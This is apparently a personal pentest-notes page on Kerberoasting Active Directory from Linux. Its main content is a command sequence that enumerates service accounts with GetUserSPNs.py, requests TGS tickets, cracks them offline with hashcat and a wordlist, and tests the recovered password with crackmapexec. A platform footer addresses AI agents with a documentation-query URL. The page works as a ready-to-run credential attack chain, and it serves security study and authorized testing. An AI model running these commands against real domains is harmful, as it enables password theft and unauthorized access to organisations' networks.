> For the complete documentation index, see [llms.txt](https://strange-1.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://strange-1.gitbook.io/notes/active-directory/kerberoasting/linux.md).

# Linux

## **Kerberoasting with** [**GetUserSPNs.py**](http://GetUserSPNs.py)

```bash
# Installing Impacket using Pip
# <https://github.com/SecureAuthCorp/impacket> 
sudo python3 -m pip install .

# Listing SPN Accounts with GetUserSPNs.py
GetUserSPNs.py -dc-ip 10.10.10.10 DOMAIN.LOCAL/eren

# Requesting all TGS Tickets
GetUserSPNs.py -dc-ip 10.10.10.10 DOMAIN.LOCAL/eren -request

# Requesting a Single TGS ticket
GetUserSPNs.py -dc-ip 10.10.10.10 DOMAIN.LOCAL/eren -request-user sqldev -outputfile sqldev_tgs

# Cracking the Ticket Offline with Hashcat
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt

# Testing Authentication against a Domain Controller
sudo crackmapexec smb ip -u eren -p pass
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://strange-1.gitbook.io/notes/active-directory/kerberoasting/linux.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
